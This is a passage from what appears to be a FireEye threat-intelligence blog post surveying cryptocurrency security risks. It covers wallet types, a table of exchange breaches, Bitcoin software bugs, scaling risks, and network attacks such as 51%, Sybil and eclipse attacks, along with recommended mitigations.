If considering the use of hot wallet solutions, FireEye recommends some of the following ways to help mitigate risk:

• Use two-factor authentication when available (as well as fingerprint authentication where applicable).
• Use trong passwords.
• Ensure that your private keys are stored encrypted (if possible).
• Consider using an alternative or secondary device to access funds (like a secondary mobile device or computer not generally used every day) and kept offline when not in use.

Cold Wallets

Offline, also called cold wallets, are those that generate and store private keys offline on an air-gapped computer without network interfaces or connections to the outside internet. Cold wallets work by taking the unsigned transactions that occur online, transferring those transactions offline to be verified and signed, and then pushing the transactions back online to be broadcasted onto the Bitcoin network. Managing private keys in this way is considered to be more secure against threats such as hackers and malware. These types of offline vaults used for storing private keys is becoming the industry security standard for key custodians such as Coinbase, Bittrex, and other centralized cryptocurrency companies. Even recently, Fidelity Investments released a statement regarding their intentions to play an integral part of the Bitcoin’s custodial infrastructure landscape.

“Fidelity Digital Assets will provide a secure, compliant, and institutional-grade omnibus storage solution for bitcoin, ether and other digital assets. This consists of vaulted cold storage, multi-level physical and cyber controls – security protocols that have been created leveraging Fidelity’s time-tested security principles and best practices combined with internal and external digital asset experts.”

-Fidelity Investments                                

While more security-conscious exchanges employ this type of key storage for their users, cold wallets are still susceptible to exploitation:

• In November 2017, ZDnet published an article describing four methods hackers use to steal data from air-gapped computers through what they call “covert channels.” These channels can be broken down into four groups:
  • Electromagnetic
  • Acoustic
  • Thermal
  • Optical
• In addition to those four types of attacks, WikiLeaks revealed, as part of its ongoing Vault 7 leak, a tool suite (dubbed Brutal Kangaroo, formerly EZCheese) allegedly used by the CIA for targeting air-gapped networks.
• In February 2018, security researchers with the Cybersecurity Research Center at Israel’s Ben-Gurion University made use of a proof-of-concept (PoC) malware that allowed for the exfiltration of data from computers placed inside a Faraday cage (an enclosure used to block electromagnetic fields). According to their research, attackers can exfiltrate data from any infected computer, regardless if air-gapped or inside a Faraday cage. The same group of researchers also revealed additional ways to exploit air-gapped computers:
  • aIR-Jumper attack that steals sensitive information from air-gapped computers with the help of infrared-equipped CCTV cameras that are used for night vision
  • USBee attack that can be used steal data from air-gapped computers using radio frequency transmissions from USB connectors
  • DiskFiltration attack that can steal data using sound signals emitted from the hard disk drive (HDD) of the targeted air-gapped computer
  • BitWhisper that relies on heat exchange between two computer systems to stealthily siphon passwords or security keys
  • AirHopper that turns a computer’s video card into an FM transmitter to capture keystrokes
  • Fansmitter technique that uses noise emitted by a computer fan to transmit data
  • GSMem attack that relies on cellular frequencies
  • PowerHammer, a malware that leverages power lines to exfiltrate data from air-gapped computers.

Hardware Wallets

Hardware wallets are typically a small peripheral device (such as USB drives) used to generate and store keys, as well as verify and sign transactions. The device signs the transactions internally and only transmits the signed transactions to the network when connected to a networked computer. It is this separation of the private keys from the vulnerable online environment that allows a user to transact on the blockchain with reduced risk.

However, hardware wallets are susceptible to exploitation as well, such as man-in-the-middle (MitM) supply chain attacks, wherein a compromised device is purchased. Such an event obstenibly occurred in early 2018, when an individual purchased a compromised Nano Ledger off of eBay, and consequently lost $34,000 USD worth of cryptocurrency stored on the device as the attacker created their own recovery seed to later retrieve the funds stored on the device. In order to trick the victim, the attacker included a fake recovery seed form inside the compromised device packaging (as seen in Figure 2).

Figure 2: Fraudulent recovery seed document for Ledger Nano (image source: Reddit)

To help mitigate the risk of such an attack, FireEye recommends only purchasing a hardware wallet from the manufacturer directly or through authorized resellers.

In addition to supply-chain attacks, security researchers with Wallet.fail have recently disclosed two vulnerabilities in the Ledger Nano S device. One of these vulnerabilities allows an attacker to execute arbitrary code from the boot menu, and the other allows physical manipulation without the user knowing due to a lack of tamper evidence. In both cases, physical access to the device is required, and thus deemed less likely to occur if proper physical security of the device is maintained and unauthorized third-party purchasing is avoided.

Paper Wallets

Typically, wallet software solutions hide the process of generating, using, and storing private keys from the user. However, a paper wallet involves using an open-source wallet generator like BitAddress[.]org and WalletGenerator[.]net to generate the user’s public and private keys. Those keys are then printed to a piece of paper. While many view this form of key management as more secure because the keys do not reside on a digital device, there are still risks.

Because the private key is printed on paper, theft, loss, and physical damage present the highest risk to the user. Paper wallets are one of the only forms of key management that outwardly display the private key in such a way and should be used with extreme caution. It is also known that many printers keep a cache of printed content, so the possibility of extracting printed keys from exploited printers should also be considered.

Exchanges & Key Custodians

According to recent Cambridge University research, in 2013 there were approximately 300,000 to 1.3 million users of cryptocurrency. By 2017 there were between 2.9 million and 5.8 million users. To facilitate this expedited user growth, a multitude of companies have materialized that offer services enabling user interaction with the various cryptocurrency networks. A majority of these businesses function as an exchange and/or key custodians. Consequently, this can make the organization an ideal candidate for intrusion activity, whether it be spear phishing, distributed denial of service (DDoS) attacks, ransomware, or extortion threats (from both internal and external sources).

Many cryptocurrency exchanges and services around the world have reportedly suffered breaches and thefts in recent years that resulted in substantial financial losses and, in many cases, closures (Figure 3). One 2013 study found that out of 40 bitcoin exchanges analyzed, over 22 percent had experienced security breaches, forcing 56 percent of affected exchanges to go out of business.

Figure 3: Timeline of publicly reported cryptocurrency service compromises

Some of the more notable cryptocurrency exchange attacks that have been observed are as follows:

Time Frame	Entity	Description
July 2018	Bancor	Bancor admitted that unidentified actors compromised a wallet that was used to upgrade smart contracts. The actors purportedly withdrew 24,984 ETH tokens ($12.5 million USD) and 229,356,645 NPXS (Pundi X) tokens (approximately $1 million USD). The hackers also stole 3,200,000 of Bancor’s own BNT tokens (approximately $10 million USD). Bancor did not comment on the details of the compromise or security measures it planned to introduce.
June 2018	Bithumb	Attackers stole cryptocurrencies worth $30 million USD from South Korea’s largest cryptocurrency exchange, Bithumb. According to Cointelegraph Japan, the attackers hijacked Bithumb’s hot (online) wallet.
June 2018	Coinrail	Coinrail admitted there was a “cyber intrusion” in its system and an estimated 40 billion won ($37.2 million USD) worth of coins were stolen. Police are investigating the breach, but no further details were released.
February 2018	BitGrail	BitGrail claimed $195 million USD worth of customers’ cryptocurrency in Nano (XRB) was stolen.
January 2018	Coincheck	Unidentified attackers stole 523 million NEM coins (approximately $534 million USD) from the exchange’s hot wallet. Coincheck stated that NEM coins were kept on a single-signature hot wallet rather than a more secure multi-signature wallet and confirmed that stolen coins belonged to Coincheck customers.
July 2017	Coindash	Unidentified actors reportedly stole $7.4 million USD from users attempting to invest during a Coindash (app platform) ICO. Coindash, which offers a trading platform for ether, launched its ICO by posting an Ethereum address to which potential investors could send funds. However, malicious actors compromised the website and replaced the legitimate address with their own ether wallet address. Coindash realized the manipulation and warned users only three minutes after the ICO began, but multiple individuals had already sent funds to the wrong wallet. This incident was the first known compromise of an ICO, which indicates the persistent creativity of malicious actors in targeting cryptocurrencies.
June 2017	Bithumb	Bithumb, a large exchange for ether and bitcoin, admitted that malicious actors stole a user database from a computer of an employee that allegedly includes the names, email addresses, and phone numbers of more than 31,800 customers. Bithumb stated that its internal network was not compromised. Bithumb suggested that actors behind this compromise used the stolen data to conduct phishing operations against the exchange’s users in an attempt to steal currency from its wallets, allegedly stealing cryptocurrency worth more than $1 million USD.
April 2017	Yapizon	Unidentified actor(s) reportedly compromised four hot wallets belonging to a South Korean Bitcoin exchange, Yapizon, and stole more than 3,816 bitcoins (approximately $5 million USD). The identity of the responsible actor(s) and the method used to access the wallets remain unknown. However, Yapizon stated that there was no insider involvement in this incident.
August 2016	Bitfinex	Malicious actor(s) stole almost 120,000 bitcoins ($72 million USD at the time), from clients’ accounts at Bitfinex, an exchange platform in Hong Kong. How the breach occurred remains unknown, but the exchange made some changes to its systems after regulatory scrutiny. However, some speculate that complying with the regulators’ recommendations made Bitfinex vulnerable to theft.
May 2016	Gatecoin	The Hong Kong-based Gatecoin announced that as much as $2 million USD in ether and bitcoin were lost following an attack that occurred over multiple days. The company claimed that a malicious actor altered its system so ether deposit transfers went directly to the attacker’s wallet during the breach.
February 2015	KipCoin	The Chinese exchange KipCoin announced that an attacker gained access to its server in 2014 and downloaded the wallet.dat file. The malicious actor stole more than 3,000 bitcoins months later.
February 2015	BTER	BTER announced via its website that it lost 7,170 bitcoins, ($1.75 million USD at the time). The company claimed that the bitcoins were stolen from its cold wallet.
December 2015	Bitstamp	Bitstamp reported that multiple operational wallets were compromised, which resulted in the loss of 19,000 bitcoins. The company received multiple phishing attempts in the months prior to the theft. One employee allegedly downloaded a malicious file that gave the attacker access to servers that contained the wallet.dat file and passphrase for the company’s hot wallet.
August 2014	BTER	The China-based exchange BTER claimed that an attacker stole 50 million NXT, ($1.65 million USD at the time). The company claims the theft was possible following an attack on one of its hosting servers. The company reportedly negotiated the return of 85 percent of the stolen funds from the attacker.
July 2014	MintPal	MintPal admitted that an attacker accessed 8 million VeriCoins ($1.8 million USD) in the company’s hot wallet. The attackers exploited a vulnerability in its withdrawal system that allowed them to bypass security controls to withdraw the funds.
Early 2014	Mt. Gox	Mt. Gox, one of the largest cryptocurrency exchanges, filed for bankruptcy following a theft of 850,000 bitcoins (approximately $450 million USD at the time) and more than $24 million USD from its bank accounts. A bug in the exchange’s system that went unidentified for years allegedly enabled this compromise. Additionally, some speculated that an insider could have conducted the theft. Notably, recent reports revolving around the arrest of the founder of BTC-e (Alexander Vinnik) suggest he was responsible for the attack on Mt. Gox.

Table 2: Sample of observed exchange breaches

As little oversight is established for cryptocurrency exchanges and no widely accepted security standards exist for them, such incidents will likely persist. Notably, while these incidents may involve outsiders compromising exchanges’ and services’ systems, many of the high-profile compromises have also sparked speculations that insiders have been involved.

Software Bugs

While there has yet to be an in-the-wild attack that has caused significant harm to the Bitcoin network itself, remember the Bitcoin software is just that: software. Developers have identified 30 common vulnerabilities and exposures (CVEs) since at least 2010, many of which could have caused denial of service attacks on the network, exposure of user information, degradation of transaction integrity, or theft of funds.

The most recent software bug was a transaction validation bug that affected the consensus rules; essentially allowing miners to create transactions that weren’t properly validated and contained an extra input – which could have ultimately been exploited to create an amount of bitcoin from nothing. This vulnerability went unnoticed for two years, and fortunately was responsibly disclosed.

Running any peer-to-peer (P2P) or decentralized and distributed software is risky because each individual user has the responsibility to upgrade software when bugs are found. The more people who fail to update their software in a timely manner, the greater the chance of those nodes being exploited or used to attack the network.

Scaling & Attack Surface

At the time of this post, scaling blockchain networks to the size required to support a truly global payment system still presents a problem for the new technology and is an area of contention among developers and industry players. To address this, many developers are working on various scaling solutions. The following are some of the proposed solutions and the risks associated with each:

On-chain Scaling

One proposed suggestion is to increase the block size, which consequently shifts the cost of scaling to miners and those who operate nodes. Some argue that this could introduce the risk of centralization, because the only larger organizations that can meet the bandwidth and storage demands of ever-increasing block sizes can support this type of solution.

Off-chain Scaling

Some of the more popular blockchain scaling solutions for crypto-assets often depend on layering networks and system architectures on top of the base protocol – also referred to as “layer two” (L2) scaling. This allows users to conduct transactions “off-chain” and only occasionally synchronize them with the Bitcoin blockchain. Many argue that this is similar to how legal contracts are enforced; you don’t need to go to court each time a legal contract is written, agreed upon, and executed. And this is something that already occurs frequently in Bitcoin, as the vast majority of transactions happen offline and off-chain within large exchanges’ and merchant providers’ cold storage solutions.

However, two choices for off-chain scaling exist:

Off-chain Private Databases

This solution involves pushing transactions off-chain to a privately managed database where transaction can be settled and then occasionally synced with the Bitcoin blockchain. However, in creating this second layer of private “off-chain” transaction processing, an element of trust is introduced to the system, which unfortunately introduces risk. When transactions occur “off-chain” in a centralized private database, there is risk of improperly secured centralized ledgers that can be falsified or targeted for attack.

Off-chain Trustless Payment Channels

Another L2 solution would be to push transactions off-chain – not onto a private database, but to a trustless decentralized routing network. There are two primary L2 solutions being developed: The Liquid Network (for Bitcoin) and Raiden (for Ethereum).

However, a critique of this type of scaling solution is that the accounts used on this layer are considered hot wallets, which presents the largest attack surface. This makes it the riskiest way to store funds while also creating a valuable target for hackers. If an attacker is able to identify and access a user’s L2 node and associated wallet, they could transmit all funds out of the user’s wallet.

Lightning and Raiden as scaling solutions are still relatively new and experimental, so it’s unknown whether the they will be globally accepted as the preferred industry scaling solution. Additionally, because this layered development is still new and not widely implemented, at the time of this post there has not yet been an instance or proof of concept attack against L2 networks.

Network & Protocol Attacks

Actors may also attempt to directly exploit a cryptocurrency P2P network or cryptographic protocol to either steal cryptocurrency or disrupt a cryptocurrency network. Albeit rare, successful attacks of this nature have been observed. Examples of attack vectors that fall into this category include the following:

51% Attack

The 51% attack refers to the concept that if a single malicious actor or cohesive group of miners controlled more than 50 percent of the computing capability validating a cryptocurrency’s transactions, they could reverse their own transactions or prevent transactions from being validated. While previously considered theoretical, 51% attacks have been recently observed:

• In early April 2018, the cryptocurrency Verge reportedly suffered a 51% attack, which resulted in the attacker being able to mine 1,560 Verge coins (XVG) every second for a duration of three hours.
• In May 2018, developers notified various cryptocurrency exchanges of a 51% attack on Bitcoin Gold. According to a report by Bitcoinist, the attack cost exchanges nearly $18 million.
• Following the Bitcoin Gold attack, in June 2018, ZenCash became another target of the 51% attack, in which attackers siphoned $550,000 USD worth of currency from exchanges.

Companies such as NiceHash offer a marketplace for cryptocurrency cloud mining in which individuals can rent hashing power. Couple the information available from sites like Crypto51, which calculates the cost of performing 51% attacks, and it presents an attractive option for criminals seeking to disrupt cryptocurrency networks. While these types of attacks have been observed, and are no longer theoretical, they have historically posed the most risk to various alt-coins with lower network participation and hash rate. Larger, more robust, proof-of-work (PoW) networks are less likely to be affected, as the cost to perform the attack outweighs potential profit.

We anticipate that as long as the cost to perform the 51% attack and the likelihood of getting caught remains low, while the potential profit remains high, actors will continue showing interest in these types of attacks across less-robust cryptocurrency networks. 

Sybil Attack

A Sybil attack occurs when a single node claims to be multiple nodes on the P2P network, which many see as one of the greatest security risks among all large-scale, peer-to-peer networks. A notable Sybil attack (in conjunction with a traffic confirmation attack) against the Tor anonymity network occurred in 2014, spanned the course of five months, and was conducted by unknown actors.

As it pertains to cryptocurrency networks in particular, attackers performing this type of attack could perform the following:

• Block honest users from the network by outnumber honest nodes on the network, and refusing to receive or transmit blocks.
• Change the order of transactions, prevent them from being confirmed, or even reverse transactions that can lead to double spending by controlling a majority of the network computing power in large-scale attacks.

As described by Microsoft researcher John Douceur, many P2P networks rely on redundancy to help lower the dependence on potential hostile nodes and reduce the risk of such attacks. However, this method of mitigation falls short if an attacker impersonates a substantial fraction of the network nodes, rendering redundancy efforts moot. The suggested solution to avoiding Sybil attacks in P2P networks, as presented in the research, is to implement a logically centralized authority that can perform node identity/verification. According to the research, without implementing such a solution, Sybil attacks will always remain a threat “except under extreme and unrealistic assumptions of resource parity and coordination among entities.”

Eclipse Attack

An eclipse attack involves an attacker or group controlling a significant number of nodes and then using those nodes to monopolize inbound and outbound connections to other victim nodes, effectively obscuring the victim node’s view of the blockchain and isolating it from other legitimate peers on the network. According to security researchers, aside from disrupting the network and filtering the victim node’s view of the blockchain, eclipse attacks can be useful in launching additional attacks once successfully executed. Some of these attacks include:

• Engineered Block Races: Block races occur in mining when two miners discover blocks at the same time. Generally, one block will be added to the chain, yielding mining rewards, while the other block is orphaned and ignored, yielding no mining reward. If an attacker can successfully eclipse attack miners, the attacker can engineer block races by hoarding blocks until a competing block has been found by non-eclipsed miners – effectively causing the eclipsed miners to waste efforts on orphaned blocks.
• Splitting Mining Power: An attacker could use eclipse attacks to effectively cordon off fractions of miners on a network, thereby eliminating their hashing power from the network. Removing hashing power from a network allows for easier 51% attacks to occur given enough miners are effectively segmented from the network to make a 51% attack profitable.

On Jan. 5, 2019, the cryptocurrency company Coinbase detected a possible eclipse + 51% attack effecting the Ethereum Classic (ETC) blockchain. The attack involved malicious nodes surrounding Coinbase nodes, presenting them with several deep chain reorganizations and multiple double spends – totaling 219,500 ETC (worth at the time of this reporting roughly $1.1 million USD).

While eclipse attacks are difficult to mitigate across large-scale P2P networks, some fixes can make them more difficult to accomplish. FireEye recommends implementing the following, where applicable, to help reduce the risk of eclipse attacks:

• Randomized node selection when establishing connections.
• Retain information on other nodes previously deemed honest, and implement preferential connection to those nodes prior to randomized connections (this increases the likelihood of connecting to at least one honest node).

How the Public and Private Sector Can Help Mitigate Risk

Public Sector Priorities

As blockchain technology continues to develop, and issues like scaling, security, and identity management are addressed, it is safe to assume the ecosystem we have today will not look like the ecosystem of tomorrow. Due to this, the public sector has generally maintained a hands-off approach to allow the space to mature and innovate before implementing firm regulations. However, in the future, there are likely to be certain key areas of regulation the public sector could focus on:

• Virtual Currencies (tax implications, asset classification)
• Data encryption
• Privacy
• Identity Management (KYC and FCC)

Private Sector’s Role

Because of the public sector’s wait-and-see approach to regulation, it could be argued that the private sector should have a more active role in securing the technology as it continues to mature. Private sector leaders in software and network development, hardware manufacturing, and cyber security all have the ability to weigh in on blockchain development as it progresses to ensure user security and privacy are top priorities. Universities and independent research groups should continue to study this emerging technology as it develops.

While no widely promoted and formal security standards exist for cryptocurrency networks at the time of this post, The Cryptocurrency Certification Consortium (C4) is actively developing the Cryptocurrency Security Standard (CCSS), a set of requirements and framework to complement existing information security standards as it relates to cryptocurrencies, including exchanges, web applications, and cryptocurrency storage solutions.

Cyber Security Community

From a cyber security perspective, we should learn from the vulnerabilities of TCP/IP development in the early days of the internet, which focused more on usability and scale than security and privacy – and insist that if blockchain technology is to help revolutionize the way business and trade is conducted that those two areas of focus (security and privacy) are held at the forefront of blockchain innovation and adoption. This can be achieved through certain self-imposed (and universally agreed upon) industry standards, including:

• Forced encryption of locally stored wallet files (instead of opt-in options).
• Code or policy rule that requires new wallet and key generation when user performs password changes.
• Continued development and security hardening of multi-sig wallet solutions.
• Emphasis on and clear guidelines for responsible bug disclosure.
• Continued security research and public reporting on security implications of both known and hypothetical vulnerabilities regarding blockchain development.
  • Analyzing protocols and implementations to determine what threats they face, and providing guidance on best practices.

Outlook

While blockchain technology offers the promise of enhanced security, it also presents its own challenges. Greater responsibility for security is often put into the hands of the individual user, and while some of the security challenges facing exchanges and online wallet providers can be addressed through existing best practices in cyber security, linking multiple users, software solutions, and integration into complex legacy financial systems creates several new cyber security paradigms.

To maintain strong network security, the roles and responsibilities of each type of participant in a blockchain network must be clearly defined and enforced, and the cyber security risks posed by each type of participant must be identified and managed. It is also critical that blockchain development teams understand the full range of potential threats that arise from interoperating with third parties and layering protocols and applications atop the base protocols.

The value and popularity of cryptocurrencies has grown significantly in the recent years, making these types of currencies a very attractive target for financially motivated actors. Many of the aforementioned examples of the various attack vectors can be of high utility in financially motivated operations. We expect cyber crime actors will continue to demonstrate high interest in targeting cryptocurrencies and their underlying network protocols for the foreseeable future.